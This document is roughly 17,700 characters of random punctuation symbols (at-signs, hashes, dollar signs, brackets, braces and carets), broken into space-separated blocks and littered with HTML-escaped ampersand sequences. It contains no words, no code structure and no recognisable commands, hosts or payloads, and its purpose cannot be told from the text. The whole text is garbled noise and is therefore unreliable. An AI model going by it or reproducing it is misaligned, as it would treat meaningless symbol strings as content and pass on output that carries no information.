@+}{%*%[$}(#)$]][)!_%{(!){@%_##%{$)\u0026amp;))_!^(!#([+)]#_*)_$#}!$$})%^[%(_+!\u0026amp;{+^*^()![ *@$}^)}{$^+%@@^)!){@*{#*[#*#)^{@!(\u0026amp;@#+_#^[\u0026amp;^$+\u0026amp;$!*!@\u0026amp;[}\u0026amp;\u0026amp;#\u0026amp;@^})\u0026amp;(%[*%!)@[@])*{%] @!]@([@\u0026amp;%${{⁠%*@^[*$#])__\u0026amp;+{@@@{$+[(@!%!^_{$*^*$)%$!%_]\u0026amp;$($!#\u0026amp;)@!}#\u0026amp;*#(#_*#]*#%{) *@}(]+@#@\u0026amp;}}_}$+\u0026amp;^\u0026amp;[#%^*%*\u0026amp;(!!@{^^%$_{+[!@^](@*\u0026amp;%#!}**^$@{$#\u0026amp;!!!^)]%$_)%!\u0026amp;{^^}!% (*$**!(@\u0026amp;*+)[+(!_(]![%!^[)[!@]_$*))+(+}[+%($%!+%!\u0026amp;^[(^^@(_]\u0026amp;#@[[^]]*@_{}(}[#_{*_ !+(_^]_%\u0026amp;\u0026amp;#$*}^*+!*^}][\u0026amp;_[}[@]$#{]%{)*[$!^_@(\u0026amp;$^!%$+]{#\u0026amp;@%{!)@\u0026amp;#^}%%^+@}}%%\u0026amp;^^}@ *##+)__()+]!]])#!%(\u0026amp;+{))\u0026amp;)@(][++_*[@@)%{[%[+{}^*(_\u0026amp;(\u0026amp;@#\u0026amp;^$@^_}%^{![](^__((\u0026amp;#$}$( _]+^}@(]}^%#%@([${%@@+#[{)!!][+)$%\u0026amp;[\u0026amp;]@$*@^#^#%\u0026amp;}*@_))!^#})$!@%)(}\u0026amp;_^]!![+#()}%) %@}}%^(#(})*}){+$_[+]%%]#(*[#_(![\u0026amp;{#*$){_%^}+*))\u0026amp;+)$#_*}[][@}_#%@{+(+[#}(]^%}^}+ _$#*(^]{\u0026amp;$#}{@_^^!(!++]@}${]{_)%#\u0026amp;{@^%$+{)]+_$\u0026amp;@[)#[!%^((@(}$([#$%!]\u0026amp;[\u0026amp;*\u0026amp;!#![^@+ {#@+}@^@([++{^%$^@@}}*{!$*\u0026amp;^\u0026amp;)$)$$$}[#[%!_]+]]*_)!!\u0026amp;[]}+$!}%+{!(\u0026amp;^!#{##}!}\u0026amp;@(])+ ^(+{+_%%])}(*!*+@+^$*#})+\u0026amp;{}%)(@%[{#^+\u0026amp;@)_[(+[@@\u0026amp;{@){#({++_@(((*\u0026amp;\u0026amp;{@$\u0026amp;[[%($}^{(+ \u0026amp;*%}%((!\u0026amp;#!$[)_(}*@^%[@)]#%*}}]#!\u0026amp;*$\u0026amp;+[^{#+##(_%_^)]@^}*^]{[^^]!!+^+^$%#))^%}*^# %#(*}\u0026amp;)[{_$+@}}\u0026amp;_]$\u0026amp;_{]$)]\u0026amp;[{**$^(#$][__{@_%#%\u0026amp;^)^%!#[]@$@$([!$+%@{(@)@*^}(+{)+( _@$)^\u0026amp;@+})_^^]%*$^^}_]@(*\u0026amp;)+){(^)_#${%{$+#@))#)[)\u0026amp;$][(*\u0026amp;}}^]^_%!*#*]$@%}+$#^$[\u0026amp;( %!*_*(%))^[*+__*{+[_)++))(#_%(+!@#+@^^\u0026amp;[)*_^_+_%([\u0026amp;)@#}!#%(!#!!}$[@]_@{)^[{%]*$% @\u0026amp;*!$_#{!$_*_!{*()@]+_\u0026amp;%{#!$%^()$](^]\u0026amp;#@!$%))#]@*{@($#\u0026amp;(*\u0026amp;\u0026amp;@^%@{_({{*))+#)){$^+_ *^{+)+{]^+%{^^\u0026amp;+@)#+@@}*^(^)^)_!%!\u0026amp;())^!+]\u0026amp;*@[*^@{+]$[_@%%%\u0026amp;)(\u0026amp;$$#[@\u0026amp;$%*{[_@)[{[ _[!^}(#$({#%[\u0026amp;[{]@*^^+\u0026amp;\u0026amp;((*{((!\u0026amp;%}$$(##[+_#]\u0026amp;!{$}@*]((!%_]\u0026amp;@]![!]{$#%^%+#{#+#[*$ (]@!%\u0026amp;}(]@_)!{*))+^}#\u0026amp;*}@##@}](\u0026amp;)!#${_)\u0026amp;]\u0026amp;[^%_^^{{+\u0026amp;\u0026amp;%+@\u0026amp;@!+@__+@#]$]*!(_^+!$^{_ *}$[%^$(%{(\u0026amp;])[*[@^+_[]#%#*!}{(!}#](])@++{\u0026amp;}%!%+*#\u0026amp;^\u0026amp;!_$(#_%([#[_^[[{$(@#]}@+[@% @(\u0026amp;\u0026amp;@}]]!@]$}@*}#(^[%^!_(\u0026amp;+(!)[**(\u0026amp;_!*_*!*))+\u0026amp;@)%\u0026amp;{#*[%[{@+$^\u0026amp;@]__][#_)^+)#^\u0026amp;)}[ _\u0026amp;$)](!^{\u0026amp;@(\u0026amp;[\u0026amp;}$#%$%!%[#)}*_(!]%[}%__^%(@}}(^@_(\u0026amp;]^^#]!%@{}{\u0026amp;*+@)\u0026amp;(#$#+%*\u0026amp;@{_]! }\u0026amp;\u0026amp;[(_*_%\u0026amp;($%(@#){@_+}$!])}%$_[+$(@)_}![_\u0026amp;*%_[!$}*#}\u0026amp;]{[^+\u0026amp;![}%_#{#$[{)({$$[}{%$ ^!!{{})))!{#^]*@\u0026amp;}]_)}[%()[](*%@[__%#*}\u0026amp;_(+!{#[)!@(]+]}$+%_{##[(+#$^*@\u0026amp;@{*}%)({! *#^$(]))^^}{\u0026amp;})@**}!@[{{[*@^}!}}#))@*][[[##@)([_$#*+)]%#{]![$^[@!^@[([(){+$)(]]} ($)[!+#!)*($!}%!%)]{!@}][_{]({)*^[{%[#]$]![#^(!{_(@$@{]_^%!%]%[#%)_%%{@\u0026amp;)@{\u0026amp;}@*% )}@\u0026amp;+[)!]__*(#*@)_[@}+}$!^\u0026amp;_^]*@!)_@!)$*()}[@*\u0026amp;}){%@}_@$[@]$*{_^}+[{}_}#+[\u0026amp;(^]]# ^^^@%#((}!_*[(}({}@{{)+*}$@!^)[_%(%}#!!)+\u0026amp;+#\u0026amp;%}$*${)](^+!!])#]@}[$^!}[}}[]#_@@]} )+#\u0026amp;{${%+(*_$$^]}\u0026amp;#+^%())^_^@(_]*^]{))]+_)$@_%*([}{${^(]{[[#(#]\u0026amp;}+l}%#@}{{)%@{+} {$})($)({%@]!]]_(#_$[@_][+_)(!^!\u0026amp;+*{@*$#$@$$)(@$*]]{{}])}+[}!^^]}@(*%^%![+)\u0026amp;$}]$ ^%)[*%%@(@[#_+#{*#$%{_%*{_%{{#\u0026amp;[_@\u0026amp;!}#__)$+*+*$_[+*]+#*(}\u0026amp;}!*!_@#%%!^[+(}[}!*{!+ #(!^_#@^{$__!_*\u0026amp;+}@[%+\u0026amp;${}()@$\u0026amp;^(^{[%\u0026amp;]_}}%^}$\u0026amp;+\u0026amp;{]*+%][@%@@#*^(^*@+*#*^](_+!$)+ *{[]{@*]$%}{\u0026amp;#${_!%_(@(}_)){^(#_#@*}_]+))$_$[@+])^]{$]]__%*%(%}_@@^[[)^_[@(@\u0026amp;**+ @(_#_\u0026amp;[!%$@\u0026amp;)![]((}!]]$\u0026amp;+}{{[_[+[@({+@^#((@_\u0026amp;[%($)\u0026amp;![*(^$+!^$#\u0026amp;@!+_}_[_]\u0026amp;$!]^]#{ }([{]%@^+)[_[^*}[_[}$^(\u0026amp;)#*\u0026amp;\u0026amp;^)}!%{[{#_#(^%^_\u0026amp;_\u0026amp;_)!+}}*]@*($^$\u0026amp;*{[+\u0026amp;}*^\u0026amp;%])^%]*( @[)+)%}]){)[##\u0026amp;+#_)(*(#\u0026amp;)}_\u0026amp;(()){*_!}*^[$^*+$@{++@_#%_^($*}_+([]*\u0026amp;^$()$+])\u0026amp;)!]}} {(%$#(+))^{!]@()]]$%*]%\u0026amp;+\u0026amp;)_*_{_(()^$!!_[#+^@(%%([*#{)\u0026amp;+)))@*$@]#_)#}!__(_!%#*{] (!%(^@)@_\u0026amp;%@)(_[(#@\u0026amp;^[+([)+%}^*{!)!{+(+\u0026amp;!)+%^{*_]+\u0026amp;*%\u0026amp;_*$])\u0026amp;^${%+#+^+!(}+\u0026amp;@]$+{* ]!@$})^+*$^!$$!}_\u0026amp;#})+{)}[_#^[(*!)@%{!!(\u0026amp;^#${++*#@\u0026amp;^\u0026amp;!]%}]{!$+*[*#]}{_{_!\u0026amp;){%[^_ {#_(_$(^)#*@(##^*@}}(+\u0026amp;{}_#{*^]\u0026amp;)+]!++)%[^%+!+%!++%+*\u0026amp;$]*$!**\u0026amp;$$$+(_!{[++(@#[+{_ +)^$]#]*#+#_\u0026amp;@$#\u0026amp;\u0026amp;]*]{_**##%#{}^!]{])\u0026amp;($@(+**[_!+_}\u0026amp;#!]^\u0026amp;@{*_@[\u0026amp;*${[+}@_{}}[]+#_ ^+*#!**[_@#@))@@$!!)#%$%${[(\u0026amp;#(\u0026amp;_#[{*{%@##!^@*)_!{^{%[]+%]}}()[$%(_{$[[^{(]]@%{_ [^_(@[!*%*$][+@)^]+#$!_)@}!*_\u0026amp;$\u0026amp;%^@{*%)!(*[*)(}^\u0026amp;{{}_[$%)*()@%)#}_)#}{}##\u0026amp;]{$](# ]]_$[[@!))^*\u0026amp;^@!#_}{_)@$\u0026amp;[%#[]*!${%!#[{(%$*_*+$)]%#\u0026amp;$!){\u0026amp;\u0026amp;_%##_]*%$@^%@\u0026amp;\u0026amp;)*$_\u0026amp;(] @}!^+[]\u0026amp;}{\u0026amp;{\u0026amp;%]*{_*#^++#+_\u0026amp;(%]+_\u0026amp;}}^^+@+]@])}[${%$*^@]{^^{+#(#*%*[\u0026amp;_*(+#(*[$[*]$ !}#_(#![^%%+(^\u0026amp;*(({%[]@^]$([@@@@*@@)\u0026amp;}@)^^{*^_@*{){*((%!($+^_!_!^$$_!(@+%\u0026amp;[!_$#$ [*%!@+*^{}\u0026amp;^\u0026amp;]}$#{*]!}{+#%@]$!+^$_*(@]@%})%$!{[\u0026amp;!({[##$))(@#+(%}@)$)*@++}%*\u0026amp;(#^{ @^[\u0026amp;[%*_%#$_}${#{@@^^![[_$(!$\u0026amp;}[\u0026amp;^}_*}@@_}*+^$%[*_(+}$)%{@)\u0026amp;^*\u0026amp;(*]\u0026amp;$!_[{)\u0026amp;{[[_@! +_!]%^[)}}){!+{%}@##\u0026amp;@@([%\u0026amp;]+]+)!@}^}\u0026amp;@@_[[!(!+[\u0026amp;!)@*%@_#*(!({^}$++!#*^!]+^%*$$) ]^(]#}]+)[@__@]#$]{^)\u0026amp;@[{*+%%$(\u0026amp;}^!_++}\u0026amp;\u0026amp;@+]}*{!}^+#(@(@$[*%)*$((\u0026amp;*{*@#$)]*+_%@) @^^]^^)()*+){!+\u0026amp;{$}+\u0026amp;{!{!+@}_*\u0026amp;*$}$){]}\u0026amp;{({_]%+{_)%(#@()]}@]]#+$*{*$$@{])${*($#} @)+}!{*_}__)(@%*\u0026amp;}!*@#+!_#@!\u0026amp;^$\u0026amp;})\u0026amp;*]!}{]]$#]\u0026amp;$_@[*!)%_[}}_@+%{\u0026amp;_+_$^\u0026amp;^)]]\u0026amp;\u0026amp;}(*% ((@#$$(#[(@!({{}#\u0026amp;$*]$[{+!@@[@*#+_#)(*_^_(%#%\u0026amp;[%!(+}$\u0026amp;\u0026amp;)%)[{^$(]*{++})@_[%*%]*^+ %(@#)])+^_*+*#%+_+}^{{*[+%*]$)]\u0026amp;^*}+#}^!(^(^)^_*[\u0026amp;@[}_*+$!{(@+}]{_}[^$[+_][{*]]+ !#+$$_}!%^%$]}^!*)]+*(+{#{[%^\u0026amp;!!^_$*+@}_$($#)\u0026amp;!)$_))*+##$\u0026amp;$$(]]^@_@_(!^%{_\u0026amp;@\u0026amp;+^{ *]!^\u0026amp;+%_}#@\u0026amp;\u0026amp;]%}@#^#!##*#[])*#}*](){+*}@)]+)](_(+\u0026amp;%{#}}})_!+*_}%%}%}(#!\u0026amp;*+{!!]]( +_%_([_\u0026amp;$*{^$*)_)#*@^_+#({$][)%@$^@$[\u0026amp;!+}*^$(^!)()){\u0026amp;\u0026amp;^{)]\u0026amp;)]{@)$_]*^@]\u0026amp;)@$#%#]( )+}[@({%[$!(](!)_)#[\u0026amp;[]}^]@*#([}^]@%%%@}[)($($]\u0026amp;^+$][*(%%+*$}%_]]$!@+(_%+\u0026amp;+{))@} *_$#^{%_^_{$}$]^\u0026amp;)_!_#$[}#$}}%(*\u0026amp;)%+++\u0026amp;$[{]!#{^_{(*$[({(\u0026amp;(_$)])%]#(\u0026amp;)%$@]{${}@#\u0026amp; ]$\u0026amp;\u0026amp;]%^}^*#$@{#_\u0026amp;\u0026amp;(#%{)]+_[*{@^{@^%}_$[]$[((#@(+^}}!})!)$@})$%}*@]${+}%+_!!@@^*{ @^)[{#%\u0026amp;$*}$[*}#_^}%+}#^_+)^+$!_*#+)^_((^^+(*+[]][^(^^^\u0026amp;^}}}^*!(^]]*\u0026amp;+}[(#%)+(#! \u0026amp;[\u0026amp;\u0026amp;_))#@+*^]_#[#{{$+!!%]]!!!$]^*!^^_+(%)%\u0026amp;@$}{\u0026amp;]$}#[[^($(*)]]%_(#}^((_@{)]}*#}) %$)$_%$]%!{)})!^@)[())#\u0026amp;#}@+_$##\u0026amp;$[#!}^^\u0026amp;_)%][]\u0026amp;$^#+@}_{@({[++\u0026amp;(_!@%@#\u0026amp;}^#[\u0026amp;[^%+ )[{^)#++[__(*+\u0026amp;*%(@]#](+(]]}%(^!(+@]({_[][)(%(\u0026amp;}}\u0026amp;[[_{#@#)@[#_[$#$[%[}{]{[)$)%{\u0026amp; +\u0026amp;(@\u0026amp;%\u0026amp;^)(){)_[_]#^$)^)[!_]]\u0026amp;!)}+{_%(\u0026amp;+{(+%*}][^%)#{{+#@!$_*_[+[\u0026amp;}{*%+*!!%$))$(_ *@($]}^{[_\u0026amp;$@%^%#@([#_[_#_%]@(+^))]_@%%}%({_*^^@#_{$#_[\u0026amp;%{@$$^{%]}#!$^)+#)[%*^{$ $_[#^!+^[_\u0026amp;*%!^(%^![@^!_+{_(\u0026amp;*!!!$)]**^!%*$%{\u0026amp;*([+_!^]}\u0026amp;@^$)(_(%(%[}%#_^$#]@*^]! %%][^]!%^%[@[{#!}[!}$@)@{^^[![[*$\u0026amp;$[#+{+(*)!^!)*+%*{{##[)%*!\u0026amp;#*[{%@!+((@##_}\u0026amp;+$* ({#!+*]+)$@+[[\u0026amp;#*!%(]\u0026amp;@^\u0026amp;#_^*@\u0026amp;@_((}_!!_^+#}%@_{%}$]\u0026amp;{{+{]+^]#*[^@]\u0026amp;}*_*}#!*_$#% ${!_{]{)$)#{*@+@@{$_]]+\u0026amp;+)^+!()[_*]{^^]*([(@!{\u0026amp;{}@()%_{+_[+\u0026amp;\u0026amp;@}{}(}$*%@$_^){*![{ (^@^\u0026amp;^@\u0026amp;!+#\u0026amp;(@%!)[]%((##@(}]_*#_*@%(_{$_#](#_]*]#_+_[_])(#\u0026amp;%#]_(!)]*$\u0026amp;*##){}]+*@ $+%([}$))^^!{}\u0026amp;%_%+$%\u0026amp;#[}^*_^^_#$$\u0026amp;^{@#}%[$\u0026amp;\u0026amp;({\u0026amp;^]}(}(@#*\u0026amp;#^)\u0026amp;{$(+^++$!*[{})]}^$ $#!\u0026amp;#[%{)(%\u0026amp;}^}[]()]$@])$])^#!]!%)_)!(])(}\u0026amp;*($%@%]#\u0026amp;(+^+]+%@[([@^]$_)\u0026amp;\u0026amp;%^*${[!_* $)$__$+\u0026amp;@!@+#{]]@##(*]\u0026amp;+^}[!{(}%_}[]_^{(}@)}[$^{*_+@+[[$\u0026amp;#}^]^(})()())@*)!}[#^@{ (+_$$+]\u0026amp;#]+*^]))@}}**\u0026amp;[]}$]\u0026amp;!)^{)[]+#%$(}##!)_@$_)$_})[#%[!{*)_*(*)*$}#(^\u0026amp;){+]_] ()))_)+]{)*\u0026amp;)@!@\u0026amp;*__%{@*]\u0026amp;${]${@_\u0026amp;+)@\u0026amp;)*+*!][#_][(\u0026amp;])@}@!#^!+*@]!#)[+__\u0026amp;\u0026amp;%}_+$\u0026amp;$ ]#({*#]_#]\u0026amp;*}_((+#!}]_}+\u0026amp;_+](!#%+@$}+@#\u0026amp;{}(\u0026amp;_}^*!#$_@}^*}${)_}%)_!@\u0026amp;#])%{#\u0026amp;)*!(# ##%*@!]##(_*{}@$!][]\u0026amp;+*#){(_!$$_]_^^]#{#))}_())[[)}@$+_}_*!{%%*![$*^#){([\u0026amp;\u0026amp;[}#%[ \u0026amp;]@_[@@_*)}!}#_})]_@)^[^\u0026amp;#\u0026amp;^!\u0026amp;{](\u0026amp;_[!\u0026amp;#}%!{)$[$()}*^#*{@\u0026amp;{]*$%$$*}@^+*)@(\u0026amp;(+%$_[ )*^{{![!\u0026amp;\u0026amp;[*]#)$}){^]%)@*]\u0026amp;^@@#}#*%#([]^\u0026amp;%}]\u0026amp;_)%!@@!*$%+*+#+_%%+$%#!%]+]![@#)$${ \u0026amp;(!@(^{^$_\u0026amp;^^}))\u0026amp;}[+\u0026amp;[$*^_%_[@^([**\u0026amp;#\u0026amp;[@{+\u0026amp;^](^}}]#_%###[){^{+[$%!$![^)[\u0026amp;#*@{+]# _)*^@})]{])*@\u0026amp;]@#+$\u0026amp;(#$)!^$$][(*\u0026amp;(]))^[*^})!!#))(})]\u0026amp;@{}({_\u0026amp;)*$@{+!!]{($!{+@!({$ #*![]@@{%_^)+_#_][^$!)#*!^\u0026amp;]___}%%\u0026amp;_[}#(@+}^*)%[\u0026amp;!\u0026amp;}$^!!\u0026amp;]#!}(@!)%\u0026amp;^__@@{[+)[}#( +@#}_*+$})@\u0026amp;_{_@@)(@#$!){}@${][#[#([)%[@\u0026amp;@@%[{%!\u0026amp;^#[!_{_@(\u0026amp;@}!^^*$(^*!%}+$)$]__% _$%@%}*)!@[$+$[_[]^!][]{+!#]]*+\u0026amp;{){+)__$)_*%!{^\u0026amp;$\u0026amp;$!)*#_{{$!$!+[%[\u0026amp;$+!@!}@*_[$\u0026amp;_ )*$*}%(*^{}!$^$%*(!([##@\u0026amp;^*!+!%@[+[+)@({{_\u0026amp;**\u0026amp;#_@}$$[)%]@[}]}{*[++\u0026amp;)#)\u0026amp;!$!)_)}$+ #]!_^#^*%()^#\u0026amp;(]\u0026amp;}!}[[[{_\u0026amp;)#}#@^#[{__^]^#((^%%[}!)((%(@](#(())#{@)[!*](%}}))+!)( })(*}]#$[_($^_)@+]@)_)*[\u0026amp;@]#+(_))]#}#@+#@@!_+#[_+_]*)[!$\u0026amp;@**_+!]@_]\u0026amp;[@%]+@[}%$}) _#)\u0026amp;\u0026amp;]\u0026amp;@}!\u0026amp;[\u0026amp;^*#!^\u0026amp;{*$[{+*)]\u0026amp;*##%!{@)@*!^_\u0026amp;@*#^%_]%(}]{_!)_%}_\u0026amp;\u0026amp;$$+^(_*())%#\u0026amp;\u0026amp;** )(#!@+^!+(^+#^}[#($}*\u0026amp;*!@\u0026amp;[)+[@][[]])#\u0026amp;!%[++@!}]$%]*_{@%{@_!{#%([$@[^[}^!({!}^(* [*\u0026amp;#$_*{$^!_!(}{*}]@($)%^)[}#\u0026amp;\u0026amp;_\u0026amp;@]__[$#*$*$^%]#!}[*\u0026amp;_@](#$_[#@]}!_[\u0026amp;+}[%]{)@#\u0026amp;) ]+(_@_{#]^^!\u0026amp;}%^(*^*[)#]({+@+@}#(*##{)\u0026amp;[#}]{!#!@+++^_](%+(()_^]*}!}!$(+}\u0026amp;{*_!@#] )*@#}[}([%{[#^${[\u0026amp;)*[}#+(%^$@+]\u0026amp;@{$[^_^[*)@$]]+}{{^%\u0026amp;({](!\u0026amp;(%#^[!}\u0026amp;]$)+*@%%)_\u0026amp;{( )%*@_]+][\u0026amp;{@$$]]+*}\u0026amp;+*{+$)$}^)!{+**!@[(])@)^*%@^@]}%^^!!$\u0026amp;!}^{\u0026amp;^@_+]_]$)*#({%]#* [+%]@[^$%_}))_({_]%${)}_[}^+(%_+}*}*!_+^^@#]@{)}\u0026amp;[*#((#!$![](*^(!@%*}_(}$*{!\u0026amp;^$( {$}\u0026amp;%(^}+{[{+@)[@}$)!!]\u0026amp;[{)_#%]}*^@[@$$]\u0026amp;#[@[()${*#){)$(\u0026amp;*#(}@_%]})\u0026amp;[][*])+%#{{^ #}%)!))({*^@^_%@!)(@_+$\u0026amp;){[[(_+\u0026amp;^_@+%[\u0026amp;_*\u0026amp;#%#)[)^_[*+]+)[!^}]%\u0026amp;([}%@[+@\u0026amp;^^((^+^] \u0026amp;(^[%[$!!]#]^_!!!\u0026amp;\u0026amp;{]}]]\u0026amp;)@#}@_]]]]${\u0026amp;#)@{}{!{@%*)^@{$^!^+@]$$$\u0026amp;)**_{[[(%)]@{*^( _++]]}[%{(!!(*]_!^]{]$#{\u0026amp;$#$})+*}$^}\u0026amp;!]{}^_{#!}{(!%[%%{$%(}]@\u0026amp;$]#+]**!_#\u0026amp;[\u0026amp;$$!{^ #+*\u0026amp;!_^@@^_#$[\u0026amp;@(@$+\u0026amp;!)_^+{{__}#_)^+(@@{[){))@[+#*}_#]])^]^%^*_$#}]%)@@%*!!{^\u0026amp;+$ $_+($!%{_]$^+^@_()#^[[^)$+@))\u0026amp;}+_$[_\u0026amp;+{!$]}]%$_!}[@)}[_($^+#}_%*%@*+(^!+)()[#*_# ({}[*$@]#*[#\u0026amp;%#!^){@__[]#]@}^$*]$%%(^@^]+!}$#$#@$[@}{#+!)!#%%!#[(^*(*_+*{#%#)%(* _@([()+#_){${^[__}+#%{[\u0026amp;{_@![{}+[#][)!\u0026amp;!\u0026amp;^$(_*_^^}[)\u0026amp;)}$%%)(#[)\u0026amp;)+!+{@^@%#__]$+] {}+[(^{!(\u0026amp;)%*(@^#+#)*\u0026amp;{)[^+@#{{}\u0026amp;$]{{@_}@{\u0026amp;${#%]}*!@)}^{}!)(!(_$%((#%%%!{(_(_$@@ [@(!%!@_]!%*(+(^[_!_#!)[+@{(#%!%*]$\u0026amp;#@_@!*\u0026amp;){__(@@_}\u0026amp;*+){_^#^_}*+@*()[}){]!#!\u0026amp;^# @!_%\u0026amp;))_^@!$)%^!*%@{+)@%$$]\u0026amp;{!*_!}@{\u0026amp;**(}\u0026amp;^+[@%(%*^$(^+{{($\u0026amp;]!_{})!*)_!}!%++[%)@ $){^@]#^{(!\u0026amp;][%]+[^**^$\u0026amp;*@\u0026amp;[)%%#$)%[^_[@^*+)@)}#\u0026amp;\u0026amp;#(_^+(%{)}}!@^+$\u0026amp;\u0026amp;$]{(^*(@]@%\u0026amp; #+{$]$_[^{[*#}%@+}[@}+@**$})^@]#\u0026amp;[+(@^\u0026amp;%_%!$_}*@{]}}_(#@[*]}+!_#}))+]]\u0026amp;]]@$^^{+[ (!_}\u0026amp;\u0026amp;}\u0026amp;}!_@$#)]{!#^{%(#]#^\u0026amp;]#}^%{\u0026amp;\u0026amp;*}\u0026amp;(+@^+_%]#)#)_()[(_\u0026amp;!$+^#[%@+$]]]!!\u0026amp;^%[]!^ %%@%)]**%+_^${$(}]}^{]])@!%+@!$#!})!($%$@)+*[![}]\u0026amp;__[$%!\u0026amp;$^})%]^\u0026amp;%(+^+#@\u0026amp;^$]{{!) [(%%!{![]#[^$%_!#]^)!]![])!$@+!^@{%}$@[_#_+{#](!^*(%#@_^}^__[(@\u0026amp;]}]@\u0026amp;!)_!$^%*(}[ +*}[%]*#@{_![]$+@_)]#@+]#_^(!*{#]!()@}}%!_\u0026amp;@]()()]*+(%*_{@)]#{[*^${_+$)@[{[$*!!{ %)+$^^[!!#^]^+*}#{_(^*!_!@]}[}%]}#]!(_+[[_)%!+($*@\u0026amp;$#*_{^@[()\u0026amp;+)$_[%}(^*^+}[^\u0026amp;^# @$}]%(%\u0026amp;_\u0026amp;\u0026amp;*))\u0026amp;%$![}[$%}@!]^*}*)_{^$_!(%]^}!_#_$$^__)}[#^(]+@\u0026amp;^!\u0026amp;*($_[_$%])]*%%! #!%+_{]$}($_+{^*}]\u0026amp;[@$^($^]()]+)+]+_]!*_^*^!@{]_){#+_#%(*#\u0026amp;#%(]*$[%%]$[}!\u0026amp;*!^^() !}[}{!+^{@}!$)%+)}{*#}%}@]#}+_#+\u0026amp;(*)_]}#(!{(*\u0026amp;#\u0026amp;)$_{^%$*)]!##*}$}[_\u0026amp;(#^{\u0026amp;)%+{(_% \u0026amp;[#$!\u0026amp;+}!*#%_!%+\u0026amp;\u0026amp;[@(![+*@}^%@)@+(_@(%{$[]_[%)}_))}$*#+$(]@%{#!)\u0026amp;_#@!!]{!}){\u0026amp;@@( )(_)[\u0026amp;{!]%*{^{{]$_\u0026amp;]^![{_##($%)%}#})(]$\u0026amp;^^}\u0026amp;!#@@#]*^^$[)@}!!)@)_*$$[{@%)_^!}_^]] })]]{!_@)[%!$#{\u0026amp;@!_+_$[_*@!@@@_(}$!$!%*($[%)[(]{[]#%*(**{#%$)_@_*]({^@!$))[$*$#+ [+!\u0026amp;#$$!})[{#(@{}\u0026amp;\u0026amp;@)\u0026amp;}^$!%_*@%#*)++{+]@}{@}*@^!}+])+{[^*#%(*(+$_!{])}+$](!*{{[{ ^[#++^*[_^\u0026amp;![@\u0026amp;^^])\u0026amp;%#_*}^$(#^\u0026amp;[\u0026amp;(#(@{)%$(%]*%!)^*+[!_%@^+\u0026amp;(+([(^)#[{***![{*$@[[ ]}_\u0026amp;]{[})+[^+%!^^@\u0026amp;[+[)$%)}(%}\u0026amp;[_}}(\u0026amp;#^]#!@(+*)){([)**({{^]@_}+@$%{)_\u0026amp;{[{_}{_[_# !\u0026amp;@@$][{)_{$_)[\u0026amp;+]^!$*]}]+[$$#+@*_}$*!#]()*[[\u0026amp;{*!#)(@%+%[{)@@@}}[}\u0026amp;[+)[}{_^}*{+[ $}([#)%(!(#[([@^)%+[#\u0026amp;[#%)}+\u0026amp;*{(^*(])^{_]%{^+^^}{#\u0026amp;#[*$^*{#!\u0026amp;](}_#$++#]$[^%+}*\u0026amp;@ ]+]@]\u0026amp;[{*!)[{(((^\u0026amp;$%}[^#[+][@_%!#[}][}^{%{^*(!!*+)^]][+{_%^*^\u0026amp;+{#{$}#$%_!*!\u0026amp;*#^! %*)_@)+_$+[\u0026amp;@*{@(+^@\u0026amp;({##}#{*([^_+@]*{+@})!)\u0026amp;))]@@[(({!!)*(}($__(]+*}[}\u0026amp;+@}]$$]* %%%@$+$]$!%@(\u0026amp;]]}{([_$*_)(}$]\u0026amp;*[%_#**^(!$#(+}$}))$]]!#^\u0026amp;[}]#!\u0026amp;$){@({$%(\u0026amp;@*}](+@] _@[(%)])^!#(}_}!)$%@*+]@{\u0026amp;(^}!([!%$!!]@$$!}*%!_#{($*]+(!@@)_(+^]*#*)]){}!_^\u0026amp;\u0026amp;\u0026amp;]\u0026amp; )[^@$+%]@%){!]]}}$!\u0026amp;}###)\u0026amp;[[@$)_*@}^[**)+#{{}_{#]!+(}%]$###{(!]*+[\u0026amp;+^(_(\u0026amp;$)_%]![ })+$)#]](#!{+)(${$*)[)$_\u0026amp;)[_%)+@*_]]{[{\u0026amp;_!}%%*$+]@%#^}^+*_}$!}@$]@\u0026amp;[{%(\u0026amp;%](}!)\u0026amp;* %![[!$$^]}*!$[\u0026amp;_{_@](+(_}@_@^{$+%\u0026amp;(+[((@}[\u0026amp;${@%@[@%]})$)\u0026amp;\u0026amp;#*(%}_)]%%\u0026amp;@]\u0026amp;\u0026amp;{[*#@@@ !^__!\u0026amp;+^_@_){}[)*[#__[[+\u0026amp;{(!*\u0026amp;[!_@*\u0026amp;}*)%{*+{(^++^!][\u0026amp;#))*]*^_\u0026amp;^+({)[)$#+(+%{\u0026amp;[^( *}*\u0026amp;*#[*!+^^#}!($[!\u0026amp;@!\u0026amp;_*$}+%\u0026amp;(%$!!^$#]\u0026amp;*[#)[}!^^@+^+#)^$])$^[%#[_+}]_)$}+[!]%*$ @_%]^@}))}*\u0026amp;){!%^{_(!]\u0026amp;+*%!*)@)@%$%{[@**!)#!%@+\u0026amp;!)@{[})*@)*[+}((])*)[{!@#[[}}*!+ (!%$^({*[^#\u0026amp;_](^]*%_}*}@+(}!}*}%$)[$}_{###@*\u0026amp;})_+%!*)[#__*]){_^\u0026amp;$%+$*@{%!}!!(![! $(){)%!+{!_]+][}(($!_+^\u0026amp;_+_#\u0026amp;{%)$_#)!#_+@[{#*{]^+)@%\u0026amp;{@$$$@+_+^[%\u0026amp;(\u0026amp;#^^%}}%!)\u0026amp;\u0026amp;* !([+{#(+})+${@*!{]}_^\u0026amp;_^}(@(](%^)%+[$!^^@_}[\u0026amp;][}@*]{@[]$#$@)++#\u0026amp;)#@[#)^(@{[!)}!\u0026amp; ###*#()\u0026amp;#*}%$#@^(*[!+#}*(}*!\u0026amp;{*$%%@@%[)_{))(+)[#_}$(^#$%}!$(#+(*{]![(]]^)@##@{#% ]*{+#%@^_%[+${+]{{]@@#%!+}#_{_(^!^}%[{$(@]\u0026amp;[#^_^}$!}%}@$(\u0026amp;[\u0026amp;**]++[*!(!@$[@\u0026amp;+]+(] ]^!]})@%_([{)(+$^{{_+_\u0026amp;_^\u0026amp;!+}*(}%\u0026amp;)+(^}{)@*^#(%[{]_+^!%!_++_[{}(_[}@$@]!^*_+{\u0026amp;{] @}]}*!#@%{{)**)\u0026amp;!#@#{}(_*^))[{](@!(#!)}]}$]++]_$!+(!)[\u0026amp;}^])+(]#$[%\u0026amp;]#@%^](\u0026amp;\u0026amp;#+]{ [(*}*[{(%\u0026amp;_{#^}#*([\u0026amp;)*$+__#^@%]#^@])^*)$_^}@(_%+*}%%^_+###_{+*_$]%$%*[@%_((_#[+\u0026amp; 